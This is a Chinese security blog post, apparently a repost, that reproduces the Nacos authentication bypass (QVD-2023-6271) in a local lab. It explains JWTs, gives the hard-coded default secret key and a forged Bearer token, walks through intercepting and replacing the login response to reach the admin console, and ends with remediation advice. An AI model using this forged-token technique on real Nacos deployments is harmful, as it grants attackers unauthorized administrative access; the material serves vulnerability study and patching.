关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

admin 2024年2月15日14:31:07评论9 views字数 3608阅读12分1秒阅读模式

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

  • 0x01 阅读须知

花果山的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

  • 0x02 前言

由于本人的一个习惯,每次遇到漏洞并复现后都要编写poc,以便下一次的直接利用与复测使用。研究Nacos默认密钥和JWT的爱恨情仇的过程中遇到了莫名其妙的问题,在此做以记录,方便日后有大佬遇到相同的问题路过看到能够得以解决。
JSON Web Token(JWT)是一种开放标准(RFC 7519),它定义了一种紧凑且独立的方式,用于在各方之间以 JSON 对象的形式安全地传输信息。此信息可以验证和信任,因为它是经过数字签名的。JWT 可以使用密钥(使用 HMAC 算法)或使用 RSA 或 ECDSA 的公钥/私钥对进行签名。
尽管 JWT 可以加密以提供各方之间的保密性,但我们将专注于签名令牌。签名令牌可以验证其中包含的声明的完整性,而加密令牌则向其他方隐藏这些声明。当使用公钥/私钥对对令牌进行签名时,签名还证明只有持有私钥的一方才是签名的一方。
JWT由三部分组成,分别是:header、payload、signature,并且这三部分通过"."来连接,例子:xxxxx.yyyyy.zzzzz
1、header通常由两部分组成:类型以及使用签名算法,例子:
{  "alg": "HS256",  "typ": "JWT"}
然后这部分将被base64url编码,形成JWT的第一部分。
2、payload作为JWT的第二部分,它包含了声明,声明是有关实体和其他数据的结合,有三种类型的声明:已注册、公共、私人。
1)已注册声明:这是一组预定义的声明,这些声明不是必需的,但建议使用,以提供一组有用的、可互操作的声明。其中一些是:iss(发行人),exp(到期时间),sub(主题),aud(受众)等。
2)公共声明:可以由使用 JWT 的人随意定义。但为了避免冲突,它们应该在 IANA JSON Web 令牌注册表中定义,或者定义为包含抗冲突命名空间的 URI。
3)专用声明:这是创建的自定义声明,用于在同意使用它们的各方之间共享信息,既不是注册声明也不是公共声明。
例子:
{  "sub": "1234567890",  "name": "John Doe",  "admin": true}
然后这部分也将被base64url编码,形成JWT的第二部分。
3、signature作为JWT的第三部分,也叫签名部分,要创建签名部分,您必须获取编码的标头、编码的有效负载、机密、标头中指定的算法并对其进行签名,例子:
HMACSHA256(  base64UrlEncode(header) + "." +  base64UrlEncode(payload),  secret)
签名用于验证消息在此过程中未被更改,并且在使用私钥签名的令牌的情况下,它还可以验证 JWT 的发件人是否是它所说的人。
将这三部分连在一起,就形成了JWT。
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4Nzc3NTY5NX0.Gyh5fwZavKvHp-Ooitu4iE_8tgYYYqngUb1c4jTEDKs
  • 0x03 研究过程

在Nacos身份认证绕过漏洞复现文章中提到jwt.io网站,其中有一个secret base64 encoded的选项,百度一下得知勾选后,即认为密钥是base64编码,加密前会先对密钥进行base64解码。

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)
使用python的base64模块库解码会报错,因为nacos提供的密钥不是4的倍数
关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)
随后我尝试了所有base64解码的在线网站都不行,于是就开始了手搓base64解码代码。
关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)
解码后
关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)
将解码后的字节串和指定header、payload进行JWT加密即可成功绕过身份认证
关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)
将做好的JWT加入到Nacos身份认证绕过漏洞poc中尝试,运行结果:
关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)
由于后面参加学校的护网了就没时间写文章了
护网结束就去实习了
目前是弱小底层员

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

在沉淀学习中

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

好了,接下来复现一下
文章不如自己动手复现一下,看你只在短短一会记住了,但是动手肯定比自己复现一遍效果更好
好记性不如烂笔头

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

靶场搭建
github有源码
https://github.com/alibaba/nacos/releases

这里选择2.2.0(Dec 14, 2022)

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

解压

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

bin文件夹,然后地址栏输入cmd
(需要java环境,这个是我的运行版本

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

直接入命令启动

startup.cmd -m standalone

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

这样就开启来了,访问这个地址

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

本机ip

http://当前局域网IP地址:8848/nacos/index.html#/login

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

开始复现

然后打开刚才解压后的这个文件    application.properties

nacosconfapplication.properties

这里的token.secret.key是固定写死

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

把它出来

SecretKey012345678901234567890123456789012345678901234567890123456789

访问这个链接生成jwt

https://jwt.io/

丢入payload

{  "sub": "nacos",  "exp"1699630350}

这里的exp是时间戳

时间戳的话需要当前系统时间

https://tool.lu/timestamp/

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

给他进入去

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

这里的VERIFY SIGNATURE

丢入刚才的token.secret.key值

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)然后复制Encoded的参数

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTYzMDM1MH0.6xCQyzME4z0Q_DhoB7q6Mi1L0W9zlGk2fEnCPJ1pFgo

抓取登入的请求包

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

插入这个请求属性

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTYzMDM1MH0.6xCQyzME4z0Q_DhoB7q6Mi1L0W9zlGk2fEnCPJ1pFgo

发送

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

得到了响应包

复制这个应包

HTTP/1.1 200 Vary: OriginVary: Access-Control-Request-MethodVary: Access-Control-Request-HeadersContent-Security-Policy: script-src 'self'Set-Cookie: JSESSIONID=1E33A37D01C31EC67CD6B6D537DE6173; Path=/nacos; HttpOnlyAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTYzMDM1MH0.6xCQyzME4z0Q_DhoB7q6Mi1L0W9zlGk2fEnCPJ1pFgoContent-Type: application/jsonDate: Fri, 10 Nov 2023 01:57:42 GMTConnection: closeContent-Length: 197{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTYzMDM1MH0.6xCQyzME4z0Q_DhoB7q6Mi1L0W9zlGk2fEnCPJ1pFgo","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

然后重新抓包

随便输入登入信息

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

拦截应包

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

把这个应包给替换刚才获取到token的应包

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

发送

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

成功进入后台

漏洞修复

1.2.0版本及以上的nacos

    修改配置文件中的nacos.core.auth.plugin.nacos.token.secret.key

    即可

1.1.4版本及以下的nacos

升级nacos到最新版

关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

大佬觉得作者文章哪里写的不对 && 有问题

吐槽

要紧    碍事

大佬吐槽就是我改进的地方

--------------------------------------

时间 更新 迟到 但不会不到

原文始发于微信公众号(K搞安全):关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日14:31:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于Nacos身份认证绕过漏洞默认密钥和JWT的研究 && 复现Nacos 身份认证绕过(QVD-2023-6271)http://cn-sec.com/archives/2193810.html

发表评论

匿名网友 填写信息